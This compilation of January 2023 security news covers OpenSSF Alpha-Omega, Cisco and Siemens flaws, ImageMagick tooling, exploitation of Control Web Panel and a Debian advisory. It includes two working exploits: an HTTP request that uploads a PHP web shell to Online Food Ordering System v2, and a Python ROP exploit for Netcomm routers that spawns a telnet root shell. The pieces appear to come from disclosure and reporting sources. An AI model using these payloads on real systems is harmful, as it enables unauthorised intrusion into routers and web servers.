SBOMs aren't enough. OpenSSF's Alpha-Omega brings in new blood to help secure the open source projects most impactful to the software supply chain.

The intricate labyrinth of open source dependencies across the global software supply chain has created an application security puzzle of mammoth proportions. Whether open source or closed, most of the world's software today is built on third-party components and libraries. Consequently, one piece of vulnerable code in even the smallest of open source projects can have a domino effect that impacts thousands of other applications, APIs, cloud infrastructure components, and more.

This issue is becoming one of the most pressing security concerns of CISOs today, and at an individual enterprise level, organizations are hard at work tackling it with projects like building out software bills of materials (SBOMs), establishing open source security management standards, and creating technical guardrails for developers to follow them.

But these efforts don't necessarily solve the problem at a more systemic level. According to many experts in the open source community, in order to make the biggest dent in the downstream supply chain, more effort needs to be put into helping open source project maintainers clean up their code.

This is the goal of the Alpha-Omega Project. About to hit its one-year anniversary next month, Alpha-Omega is a big-picture security project put together by the Open Source Security Foundation (OpenSSF) and its parent organization, the Linux Foundation, to address the fundamental issues in software supply chain security.

The "Alpha" side of the project is focused on collaborating with the maintainers of the open source projects most critical to the broader supply chain — including notables like node and jQquery — to help them level up the security posture of their code. These are projects hand-selected by the OpenSSF Securing Critical Projects working group using expert opinion and data from benchmarks like the Open SSF Criticality Score to determine the projects with the biggest downstream impact.

The "Omega" side of the project turns to the long-tail of software supply chain security, using automation and tooling to identify critical security vulnerabilities across a range of 10,000 widely deployed open source projects. It's an effort to scale up the remediation of the lowest-hanging, most obvious flaws that are pervasive across the supply chain.

Funded initially by Google and Microsoft, with additional toolchain and personnel support from financial giant Citi, Alpha-Omega wrapped up 2022 by snagging an additional $2.5 million from Amazon Web Services. More crucially, the project is preparing for 2023 with two new critical hires — Yesenia Yser, formerly a product security engineer for Red Hat, and Jonathan Leitschuh, who just finished up his one-year stint as the first Dan Kaminsky Fellow for Human Security. Yser steps in as a senior software security engineer, and Leitschuh will continue his research on automating open source security research and remediation as a senior software security researcher.

**Alpha-Omega Project's First Year**

This project is one of several high-profile security projects spearheaded and fundraised by OpenSSF and Linux Foundation in the past year to tackle the systemic issues in open source security. Following the organizations' successful model for rapid funding and action on security projects, Alpha-Omega has already made headway on a number of significant fronts.

According to the project's first annual report, the project has already engaged with five different open source projects: Node.js, the Eclipse Foundation, the Rust Foundation, jQuery, and the Python Software Foundation. Over the course of 2022, Alpha-Omega doled out $1.5 million in grants to different projects, including $460,000 to the Rust Foundation, $400,000 to the Eclipse Foundation, and $300,000 to Node. In the case of Node, that support helped it reactivate the Node Security Working Group and get it working on a security and threat model for Node.js. It also spurred the triaging of 20 different vulnerability reports across the project's code base.

Additionally, Alpha-Omega recently released the initial version of the Omega Analysis Toolchain, which orchestrates 27 different security analyzers for identifying critical vulnerabilities in open source packages. The project also released a number of experimental tools, including a triage portal to make security research and reporting more efficient.

For year two, the project plans to accelerate work on the Omega side of the house.

**What 2023 Has in Store for the Project**

The addition of Yser and Leitschuh to the Alpha-Omega Project will not only infuse more brainpower, time, and talent into existing efforts, but also plenty of enthusiasm for moving the needle on open source security.

"Open source software is in every piece of equipment that is used today, from our automotives, airplanes, phones, trackers, and even utility systems," says Yser, who has deep roots in the DevSecOps and software supply chain worlds. In her position at Red Hat she was the supply chain ops technical lead.

"The vision for the project has a global impact of improving the security posture of open source software, supply chain security, and the lives of folks around the world," she says.

Yser will be working directly on improving the Omega toolchain and the triage portal to help engineer improvements in how projects and vulnerability impacts are analyzed and prioritized for mitigation.

"For the Omega tool chain, a goal for this year will be to have an operationalized system that a maintainer or developer can leverage," she says. "For the Triage Portal, the goal will be to support a researcher's ability to triage a discovered finding via importing a SARIF report to the portal and handle their investigation within the system. The system will remain limited to the Alpha-Omega team until noted otherwise, but thanks to open source software, a researcher can run their own instance and submit pull requests to the repository and support the overall mission."

Yser will be working in close collaboration with Leitschuh, who brings significant and very fresh experience to bear in the area of scaling and automating fixes across open source projects. He spent last year's fellowship working on this exact problem. His goal is to continue the work he did there and use what he learned to further his mission of rooting out the most prevalent and impactful flaws lurking across a wide swath of open source projects.

"We may not know where those little pegs are that are holding up the entire software industry exist," Leitschuh says. "It could be one of those tiny little pieces of software that has 15 stars on GitHub that nobody knows, but it's holding up the entire Internet. So how do we secure those projects that no one knows about but \[are\] somehow fundamental to the entire supply chain?"

He says his work during the fellowship helped him further home in on his niche of not necessarily going very deep on any one security vulnerability, but instead looking at a certain type of vulnerability and developing automated ways of finding that same flaw in lots of different places across the open source ecosystem. This dovetails perfectly with the Omega ethos, which is what led him to his newest gig.

Leitschuh will keep supporting refinements on automated methods for running down flaws in Data Flow and Control analysis and auto pull request generation. But he's also going to be continuing the very manual work of collaboration. One of the important lessons he learned last year is that a lot of the work ahead of him and his Alpha-Omega team is not necessarily technical. It's about building relationships with maintainers to help them see how sometimes even simple fixes to their projects can have a huge impact on global software supply chain security postures.

"Technologists and software people, we don't always love the human element — it's easier for us to sit down and write a line of code that detects this thing and throw it over a wall than it is for us to engage with an actual person and try to convince them this is a thing worth fixing," he says.

He explains how one instance last year illustrates this point perfectly. In this case he worked with a maintainer of a YAML Parser that had a 6-year-old remote code execution flaw that had a lot of downstream impact. For a long time when Leitschuh approached him about it, the maintainer told him, "Don't trust untrusted YAML. This is not my vulnerability."

Finally, after sitting the maintainer down in a video call with lots of technical debate, Leitschuh was able to show him that the change he requested was extremely narrow and could have a huge impact.

"So he's now willing to fix this 6-year-old remote code execution vulnerability in this YAML Parser because someone like me sat down with him on a video call, finally, and had a conversation with him to convince him the minimal thing that he needed to do to make it more secure," he says.

While Leitschuh could have automated fixing the vulnerability downstream, the more elegant fix was having this discussion instead.

"I thought it was worth it for me to sit down and spend the time focusing on this one piece of software to try to convince this maintainer. Having those conversations is what's going to have a wider positive impact writ large on the entire industry," he says. "At that point you just need boots on the ground. You need people that know what they're talking about to sit down and spend time that is required to engage with an actual person."

Software Supply Chain Security Needs a Bigger Picture

Unpatched Cisco bugs, tracked as CVE-2023-20025 and CVE-2023-20026, allow lateral movement, data theft, and malware infestations.

Two security vulnerabilities in Cisco routers for small and midsize businesses (SMBs) could allow unauthenticated cyberattackers to take full control of a target device to run commands with root privileges. Unfortunately, they'll remain unpatched even though proof-of-concept exploits are floating around in the wild.

Among other things, a successful compromise could allow cyberattackers to eavesdrop on or hijack VPN and session traffic flowing through the device, gain a foothold for lateral movement within a company's network, or run cryptominers, botnet clients, or other malware.

"It’s an attractive target from a technical point of view. As an attacker, if you manage to get remote code execution on core routing or network infrastructure, your ability to move laterally increases exponentially," noted Casey Ellis, founder and CTO at Bugcrowd, in an emailed comment.

**Critical-Rated Bug Offers Root Privileges**

The first bug is a critical-rated authentication bypass issue (CVE-2023-20025) that exists in the Web management interface of the devices and carries a rating of 9 out of 10 on the CVSS vulnerability-severity scale.

Meanwhile, the second flaw — tracked as CVE-2023-20026 — can allow remote code execution (RCE) with a caveat: an attacker would need to have valid administrative credentials on the affected device to be successful, so the bug is rated medium, with a 6.5 CVSS score.

They both affect all versions of the RV016, RV042, RV042G, and RV082 routers, which have reached end of life (EoL). As such, the appliances therefore no longer receive security updates, according to the networking giant's Jan. 11 advisory.

The advisory noted that both bugs are "due to improper validation of user input within incoming HTTP packets," so an attacker needs only to send a crafted HTTP request to the Web-based management interface to gain root access on the underlying operating system.

Cisco "is aware that proof-of-concept exploit code is available for the vulnerabilities that are described in this advisory," it said, though in-the-wild attacks have so far not been spotted.

While there are no workarounds that address the bugs, a possible mitigation would be to disable remote management of the routers and block access to ports 443 and 60443, according to Cisco, meaning the routers would only be accessible through the LAN interface.

"It’s always a best practice not to allow remote administration of network devices accessible from the open internet, however, small business using some MSP/MSSPs have to leave it open for their service providers," John Bambenek, principal threat Hunter at Netenrich, noted via email. "That said, this is the worst of all worlds with PoC code publicly available and no ... patches available."

Replacing the devices is the best course of action to fully protect one's business, the researchers noted.

**Big Impact, Even at EoL**

Researchers noted that the routers' existing installed base is significant, even though the devices have been discontinued. It's not uncommon for out-of-date gear to linger on in business environments well after it's been cut off — offering a rich playground for cyberattackers.

"The Cisco small business routers affected by these vulnerabilities still see reasonably widespread usage, though they are all officially end of life," Mike Parkin, senior technical engineer at Vulcan Cyber, said via email. "The challenge will be that these devices are typically found in small businesses with limited resources or used by individuals who may not have the budget to replace them."

And, it's not just SMBs who are affected, Bugcrowd's Ellis noted: "SMB routers are very widely deployed, and in a post-COVID hybrid/work from home world, it’s not just an SMB problem. Branch offices, COEs, and even home offices are potential users of the vulnerable product."

Critical Cisco SMB Router Flaw Allows Authentication Bypass, PoC Available

Library has somewhat of an image problem given history of serious bugs

Library has somewhat of an image problem given history of serious bugs

  

A new tool enables developers to better protect themselves against vulnerabilities in popular file converter ImageMagick, which has suffered from various security holes in the past.

ImageMagick is used by websites to convert files and currently supports the conversion of more than 100 types.

While it has proven to be popular due to the sheer number of conversions it offers, the tool has also been subject to a number of critical security vulnerabilities over the years.

Read more of the latest web security vulnerability news

In 2016, researchers released ImageTragick, a series of vulnerabilities in the library – one of which could lead to remote code execution (RCE) via a crafted malicious image.

Two years later, Google Project Zero’s Tavis Ormandy published details of how supporting external programs can also leave ImageMagick vulnerable to RCE.

Then in 2020, researcher Alex Inführ found a shell injection vulnerability in ImageMagick, and in 2021 Synacktiv researchers demonstrated how they were able to achieve arbitrary file upload using known flaws in the library.

**Policy problem**

To protect users against these kinds of bugs, ImageMagick contains a security policy that can be customised by developers.

It’s “very tuneable policy mechanism” has options that adjust all the specific internal thresholds and features that the library can tolerate, Doyensec’s Lorenzo Stella, the tool’s author, told The Daily Swig.

Stella added, however, that the policy can cause confusion as it sometimes contains terms only people familiar with the library can recognize. “On top of that, not all the available options are listed on this page, so the code is often the only real documentation,” he said.

The new tool, called ImageMagick Security Policy Scanner, therefore enables users to evaluate the security policies on offer to determine which is right for them.

LIKE THE DAILY SWIG? Tell us what you think by filling in our survey and be in with the chance to win Burp Suite swag

In a blog post released this week (January 10), Stella wrote: “Because of the number of available options and the need to explicitly deny all insecure settings, this is usually a manual task, which may not identify subtle bypasses which undermine the strength of a policy.

“It’s also easy to set policies that appear to work, but offer no real security benefit.

“The tool’s checks are based on our research aimed at helping developers to harden their policies and improve the security of their applications, to make sure policies provide a meaningful security benefit and cannot be subverted by attackers.”

**CSP Evaluator similarities**

The researcher said the tool is similar to Google’s CSP evaluator in that it can immediately identify any security gaps in a policy and is designed to be used by both auditors and developers.

Stella also added a guide that describes how developers can harden it even more in their environments, identify different commands, verify if the policy is enforced, and more.

He added: “It’s important to remember that securing an ImageMagick installation does not stop with setting a secure policy, but should be paired with a number of other defense-in-depth practices.

“To the best of my knowledge, this is the first tool of its kind for ImageMagick,” said Stella, who noted that the security team at ImageMagick added a reference to the tool to their security page.

RECOMMENDED Threema disputes crypto flaws disclosure, prompts security flap

New tool protects against vulnerabilities in popular file converter ImageMagick

Online Food Ordering System version 2.0 suffers from a remote shell upload vulnerability.

# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 01/11/2023  
# Exploit Author: Onurcan Alcan  
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code  
# Version: 2.0   
# Tested on: Macos / XAMPP

############## Unauthenticated File Upload Request ##############

POST /fos/admin/ajax.php?action=save_menu HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------38679779537855109463517942658  
Content-Length: 1225  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fos/admin/index.php?page=menu  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin

-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="id"

1  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="name"

Diet Coke  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="description"

In Can  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="status"

on  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="category_id"

3  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="price"

20  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="img"; filename="revcmd.php"  
Content-Type: text/php

<?  
?>  
<HTML><BODY>  
<FORM METHOD="GET" NAME="myform" ACTION="">  
<INPUT TYPE="text" NAME="cmd">  
<INPUT TYPE="submit" VALUE="Send">  
</FORM>  
<pre>  
<?  
if($_GET['cmd']) {  
  system($_GET['cmd']);  
  }  
?>  
</pre>  
</BODY></HTML>

-----------------------------38679779537855109463517942658--

Online Food Ordering System 2.0 Shell Upload

Security researchers have disclosed multiple architectural vulnerabilities in Siemens SIMATIC and SIPLUS S7-1500 programmable logic controllers (PLCs) that could be exploited by a malicious actor to stealthily install firmware on affected devices and take control of them.
Discovered by Red Balloon Security, the issues are tracked as CVE-2022-38773 (CVSS score: 4.6), with the low severity

Firmware and Hardware Security

Security researchers have disclosed multiple architectural vulnerabilities in Siemens SIMATIC and SIPLUS S7-1500 programmable logic controllers (PLCs) that could be exploited by a malicious actor to stealthily install firmware on affected devices and take control of them.

Discovered by **Red Balloon Security**, the issues are tracked as **CVE-2022-38773** (CVSS score: 4.6), with the low severity stemming from the prerequisite that exploitation requires physical tampering of the device.

The flaws "could allow attackers to bypass all protected boot features, resulting in persistent arbitrary modification of operating code and data," the company said. More than 100 models are susceptible.

Put differently, the weaknesses are the result of a lack of asymmetric signature verifications for firmware at bootup, effectively permitting the attacker to load tainted bootloader and firmware while undermining integrity protections.

A more severe consequence of loading such modified firmware is that it could give the threat actor the ability to persistently execute malicious code and gain total control of the devices without raising any red flags.

"This discovery has potentially significant implications for industrial environments as these unpatchable hardware root-of-trust vulnerabilities could result in persistent arbitrary modification of S7-1500 operating code and data," the researchers said.

Siemens, in an advisory released this week, said it has no patches planned but urged customers to limit physical access to the affected PLCs to trusted personnel to avoid hardware tampering.

The lack of a firmware update is attributed to the fact that the cryptographic scheme that undergirds the protected boot features is baked into a dedicated physical secure element chip (called the ATECC108 CryptoAuthentication coprocessor), which decrypts the firmware in memory during startup.

An attacker with physical access to the device could therefore leverage the issues identified in the cryptographic implementation to decrypt the firmware, make unauthorized changes, and flash the trojanized firmware onto the PLC either physically or by exploiting a known remote code execution flaw.

"The fundamental vulnerabilities — improper hardware implementations of the \[Root of Trust\] using dedicated cryptographic-processor — are unpatchable and cannot be fixed by a firmware update since the hardware is physically unmodifiable," the researchers explained.

However, the German automation giant said it's in the process of releasing new hardware versions for the S7-1500 product family that come with a revamped "secure boot mechanism" that resolves the vulnerability.

The findings come as industrial security firm Claroty last year disclosed a critical flaw impacting Siemens SIMATIC devices that could be exploited to retrieve the hard-coded, global private cryptographic keys and completely compromise the product.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Over 100 Siemens PLC Models Found Vulnerable to Firmware Takeover

**According to the CVSS metric, a successful exploitation could lead to a scope change (S:C). What does this mean for this vulnerability?**

This vulnerability could lead to a browser sandbox escape.

CVE-ID

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

\*\* RESERVED \*\* This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

References

**Note:** References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Assigning CNA

N/A

Date Record Created

**20221216**

Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Phase (Legacy)

Assigned (20221216)

Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)

N/A

This is a record on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabilities.

Search CVE Using Keywords:  

You can also search by reference using the CVE Reference Maps.

For More Information:  CVE Request Web Form (select "Other" from dropdown)

CVE-2023-21775: Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

Malicious actors are actively attempting to exploit a recently patched critical vulnerability in Control Web Panel (CWP) that enables elevated privileges and unauthenticated remote code execution (RCE) on susceptible servers.
Tracked as CVE-2022-44877 (CVSS score: 9.8), the bug impacts all versions of the software before 0.9.8.1147 and was patched by its maintainers on October 25, 2022.
Control

Malicious actors are actively attempting to exploit a recently patched critical vulnerability in Control Web Panel (CWP) that enables elevated privileges and unauthenticated remote code execution (RCE) on susceptible servers.

Tracked as **CVE-2022-44877** (CVSS score: 9.8), the bug impacts all versions of the software before 0.9.8.1147 and was patched by its maintainers on October 25, 2022.

Control Web Panel, formerly known as CentOS Web Panel, is a popular server administration tool for enterprise-based Linux systems.

"login/index.php in CWP (aka Control Web Panel or CentOS Web Panel) 7 before 0.9.8.1147 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the login parameter," according to NIST.

Gais Security researcher Numan Turle has been credited with discovering and reporting the flaw to the Control Web Panel.

Exploitation of the flaw is said to have commenced on January 6, 2023, following the availability of a proof-of-concept (PoC), the Shadowserver Foundation and GreyNoise disclosed.

"This is an unauthenticated RCE," Shadowserver said in a series of tweets, adding, "exploitation is trivial."

GreyNoise said that it has observed four unique IP addresses attempting to exploit CVE-2022-44877 to date, two of which are located in the U.S. and one each from the Netherlands and Thailand.

In light of active exploitation in the wild, users reliant on the software are advised to apply the patches to mitigate potential threats.

This is not the first time similar flaws have been discovered in CWP. In January 2022, two critical issues were identified in the hosting panel that could have been weaponized to achieve pre-authenticated remote code execution.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Alert: Hackers Actively Exploiting Critical "Control Web Panel" RCE Vulnerability

Authentication bypass in Netcomm router models NF20MESH, NF20, and NL1902 allows an unauthenticated user to access content. In order to serve static content, the application performs a check for the existence of specific characters in the URL (.css, .png etc). If it exists, it performs a "fake login" to give the request an active session to load the file and not redirect to the login page.

**Netcomm - Unauthenticated Remote Code Execution**

*   CVE-2022-4873
*   CVE-2022-4874

**Affected Devices:**

Research performed against the NF20MESH router revealed an unauthenticated remote code execution vulnerability that affects devices running firmware prior to version R6B025. The following devices have been confirmed by the vendor to be vulnerable:

*   NF20
*   NF20MESH
*   NL1902

It's possible that other devices may also be affected.

**Overview**

Netcomm produce routers for residential and small business use. At the time of writing, the Netcomm NF20Mesh router is currently recommended by Aussie Broadband when signing up for a new service with the number other Australian service providers and vendors starting to offer Netcomm routers.

Noticing that a new model had been released, I had to know if a previous 0day of mine still worked against it. Aftering promptly ordering the new model, I was quickly saddened to see that two of my bugs didn't work.

Reading through the firmware release notes, it didn't appear that my previous bugs had been found, so I was curious to know why it didn't affect it. As I was stepping through each part of the exploit chain, I noticed that some of the previous functionality I had previously abused to land my original shell had now been retired or removed.

I wanted to try and find another RCE, so I downloaded the latest firmware to try and pull out the filesystem. Unfortunately, all of the newer firmware releases were now provided in an encrypted format.

**Initial Shell**

Not having the luxury of simply running binwalk to pull out the filesystem like I did last time, I started looking for an alternative method to gain access to the device's file system. I spent a fair bit of time trying to black box the web server, looking for ping utilities and other pages that might be shelling out for command injection bugs, arbitrary file reads that could leak file contents etc.

Failing to find any obvious low hanging vulnerabilities, I decided to try and get onto the board by soldering to a UART interface:

Turning the device on, I could see the bootup process happening through the console where eventually I was asked to login. Logging into the device however dropped me into the same telnet shell which I was unable to escape out of:

Restarting the device, I interupted the boot process and added an extra kernel boot parameter:

Continuing the boot process with the r command, I was able to drop into a local shell via serial:

Finally, running the startup commands in /etc/inittab brought all the services up, allowing me to take files off the device with netcat.

**Vulnerabilities**

Having local shell access now allowed me to start looking for vulnerabilities resulting an authentication bypass and a stack-based buffer overflow to achieve unauthenticated remote code execution.

****1\. Authentication Bypasss (CVE-2022-4874):****

While reverse engineering the httpd binary, I noticed the application was performing checks against the request file extensions using the strstr() function.

If you're unfamiliar with the strstr function in C, strstr finds the first occurrence of a word/character within a string. Rather than checking if the file in the path ends with .css, .png etc, it's only checking if the presence of these values in the path are there:

After this check, and additional check is performed to ensuring that a referer is set:

If both these checks pass, the do_ej function then processes the requested file:

Playing around with the strstr() function, I was able to trick the application into thinking I was authenticated by fetching a restricted page that was prefxied with /.css/ in front of it. The strstr check passes, and then processes the request:

I'm not 100% sure as to why the extension check was written this way, but I think this is a work around for serving static content while putting everything behind authentication. In order to serve a background image for the login page, it sets the request as being in an authenticated state to be able to successfully fetch the resource.

Additionally, I noticed there is a strange unauthenticated /twgjtelnetopen.cmd route which, while returning a 404 error page, is opening up the telnet service:

Perhaps some kind of debug/tech support endpoint?

****2\. Buffer Overflow (CVE-2022-4873):****

The second step was trying to find an alternative method for getting code execution on the device.

Using checksec, I could see the httpd binary had been compiled with a non-executable stack (NX), however other exploit mitigations had not been enabled:

    gdb-peda$ checksec
    Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
    Use 'set logging enabled off'.
    
    Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
    Use 'set logging enabled on'.
    
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
    

I looked for cross-references to any system() calls that I might be able to hit, however was unable to find anything that looked injectable. I then looked for any cases of dangerous functions being used that might be exploitable. Fortunately, I was able to find quite a few instances of strcpy being used:

Given the number of strcpy references in the application, I wrote a small python script to starting fuzzing parameters to see if we could trigger any bugs while I performed a deeper analysis of the binary itself. After running the fuzzer, I quickly saw the following crash on my UART console:

    task: cdd0dc00 ti: caca0000 task.ti: caca0000
    PC is at 0x41414140
    LR is at 0x29218
    pc : [<41414140>]    lr : [<00029218>]    psr: 60070010
    sp : bee158c0  ip : 00000000  fp : 41414141
    r10: 41414141  r9 : 41414141  r8 : 00000000
    r7 : 41414141  r6 : 41414141  r5 : 41414141  r4 : 41414141
    r3 : 00000000  r2 : 00000000  r1 : 00000000  r0 : 00000001
    [...]
    

I could also see that I had full control over the r4, r5, r6, r7, r10 and fp registers at the time of the crash. But, most importantly, I had full control over the PC register. Unfortunately with the NX stack protections enabled, I would need to build a ROP chain in order to get a shell.

Looking through the crash I noticed another issue. The memory pages for the binary were being loaded into address ranges containing null bytes:

    Call Process maps
    00010000-0009f000 r-xp 00000000 fe:00 742        /bin/httpd
    000ae000-000af000 r--p 0008e000 fe:00 742        /bin/httpd
    000af000-000b5000 rw-p 0008f000 fe:00 742        /bin/httpd
    [...]
    

This was a problem. Even though the application itself wasn't compiled with ASLR protection, I couldn't use any gadgets in it because the presence of a null byte would terminate the payload early. All the other libraries used by the application were using the system's ASLR, which meant I was going to have to tackle the address randomization of the functions in libraries being used.

To help with getting a working exploit, I turned ASLR off on the router by running the following command:

    echo 0 > /proc/sys/kernel/randomize_va_space
    

This provided a more stable environment to help with debugging the ROP chain by not having addresses changing on me while getting it to work. After getting an exploit working with ASLR turned off, I had to now go back and get it working with it enabled. Fortunately during the debugging process of the current exploit, I noticed that the main application wasn't actually crashing. Instead, it was actually forking out a httpd service which processed the request and was crashing. Additionally, the number of bytes in the address range changing was brute forceable. I grabbed the base address of libc from a crash and calcuated where the addresses to functions would be.

Because the main process wasn't dying, I could keep issuing the same request in an infinite loop and see if I got lucky with libc being loaded again at the hardcoded base address by connecting to the telnet service:

**Exploit / TL;DR:**

If you're really unlucky, it can take up to 10-15 minutes for the exploit to finally get a hit on libc's base address. I've found on average though that somewhere between 3-5 minutes seems to be the sweet spot.

#!/usr/bin/python3
"""
Netcomm NF20MESH Unauthenticated RCE
Author: Brendan Scarvell
Vulnerable versions: <= R6B021
A stack based buffer overflow exists in the sessionKey query string parameter. An authentication bypass
was also discovered by providing /.css/ in the request path. Chaining both of the two bugs together
results in unauthenticated remote code execution.
The exploit can take up to 5-10 minutes until it gets lucky and hits the right base address for libc.
"""

import requests, telnetlib, sys, time

"""
task: cdd0dc00 ti: caca0000 task.ti: caca0000
PC is at 0x444444
LR is at 0x29218
pc : \[<00444444>\]    lr : \[<00029218>\]    psr: 60070010
sp : bee158c0  ip : 00000000  fp : 41414141
r10: 41414141  r9 : 41414141  r8 : 00000000
r7 : 41414141  r6 : 41414141  r5 : 41414141  r4 : 41414141
r3 : 00000000  r2 : 00000000  r1 : 00000000  r0 : 00000001
"""

TARGET \= "192.168.20.1"

MAX\_BUF\_SIZE \= 4140

libc\_system         \= b"%6C%89%a2%b6"   \# 0xb6a2896c

\# Gadgets
big\_pop             \= b"%40%2b%65%b6"   \# 0xb6652b40 (0x00079b40) : mov r0, r1; pop {r4, r5, r6, r7, pc};
add\_r1\_sp\_blx\_r5    \= b"%6c%79%6d%b6"   \# 0xb66d796c (0x000fe96c) : add r1, sp, #0x14; blx r5;
mov\_r0\_r1\_blx\_r3    \= b"%cc%d0%64%b6"   \# 0xb664d0cc (0x000740cc) : mov r0, r1; blx r3;
mov\_r4\_r3\_pop\_r4\_pc \= b"%7c%98%65%b6"   \# 0xb665987c mov r3, r4; mov r0, r3; pop {r4, pc}; 

\# pewpew
buf  \= b"A" \* 4096
buf += big\_pop              \# r3 => pop system() into PC
buf += mov\_r0\_r1\_blx\_r3     \# r5 => mov r1 into r0, blx to r3 to continue chain (big\_pop ^)
buf += b"B" \* ((MAX\_BUF\_SIZE \- len(buf)))                  
buf += mov\_r4\_r3\_pop\_r4\_pc  \# move r4 into r3 to continue rop chain
buf += b"CCCC"              
buf += add\_r1\_sp\_blx\_r5     \# push sp to point at command and save in r1
buf += b"D" \* 16            
buf += libc\_system          \# executed last after r0 populated
buf += b""
buf += b"sh%20-c%20%22/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%2031337%22%23"     

print(f"\[\*\] payload length: {len(buf)}")

buf \= buf.decode("latin1")

\# Referer header is required in the request
headers \= {
    "Referer": f"http://{TARGET}/login.html" 
}

print("\[\*\] bruteforcing aslr. this could take a while..")

pwned \= False

\# keep repeating until the base address for libc is 0xb65d9000, allowing the gadgets + system() line up correctly

while not pwned:
    try:
        r \= requests.get(f"http://{TARGET}/.css/rtroutecfg.cgi?defaultGatewayList=ppp0.3&dfltGw6Ifc=&sessionKey={buf}", timeout\=5, headers\=headers)

    except requests.exceptions.ConnectionError:
        \# successful exploitation hangs connection. Capture timeout so we dont hang forever
        print("\\n\[\*\] got hit on libc @ 0xb65d9000")
    
    try:
        tn \= telnetlib.Telnet(TARGET, 31337)
        if (tn):
            pwned \= True
            print("\[\*\] popping shell")
            time.sleep(2)
            tn.interact()
    except:
        sys.stdout.write(".")
        sys.stdout.flush()

**Timeline**

*   16/10/22 - Requested security contact to report details to.
*   17/10/22 - Netcomm responded advising to send details in ticket to forward to engineering. Advised Netcomm of 60 day disclosure period.
*   01/11/22 - Netcomm provided updated firmware to verify patch. Advised Netcomm patch was incomplete.
*   08/11/22 - Netcomm provided another updated firmware to verify patch. Advised Netcomm issues appeared to be resolved.
*   18/11/22 - Netcomm released firmware (R6B021) with the fix to public. CVE requested through MITRE.
*   03/12/22 - Requested update from MITRE for CVE.
*   16/12/22 - Requested another update from MITRE regarding CVE.
*   27/12/22 - Advisory disclosed. CVE still pending.
*   04/01/23 - CVE-2022-4873 and CVE-2022-4874 assigned to bugs.

CVE-2022-4874: advisories/2022_netcomm_nf20mesh_unauth_rce.md at main · scarvell/advisories

Debian Linux Security Advisory 5313-1 - It was found that those using java.sql.Statement or java.sql.PreparedStatement in hsqldb, a Java SQL database, to process untrusted input may be vulnerable to a remote code execution attack.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5313-1                   security@debian.orghttps://www.debian.org/security/                          Markus KoschanyJanuary 11, 2023                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : hsqldbCVE ID         : CVE-2022-41853Debian Bug     : 1023573It was found that those using java.sql.Statement or java.sql.PreparedStatementin hsqldb, a Java SQL database, to process untrusted input may be vulnerable toa remote code execution attack. By default it is allowed to call any staticmethod of any Java class in the classpath resulting in code execution. Theissue can be prevented by updating to 2.5.1-1+deb11u1 or by setting the systemproperty "hsqldb.method_class_names" to classes which are allowed to be called.For example, System.setProperty("hsqldb.method_class_names","abc") or Javaargument -Dhsqldb.method_class_names="abc" can be used. From version2.5.1-1+deb11u1 all classes by default are not accessible except those injava.lang.Math and need to be manually enabled.For the stable distribution (bullseye), this problem has been fixed inversion 2.5.1-1+deb11u1.We recommend that you upgrade your hsqldb packages.For the detailed security status of hsqldb please refer toits security tracker page at:https://security-tracker.debian.org/tracker/hsqldbFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP 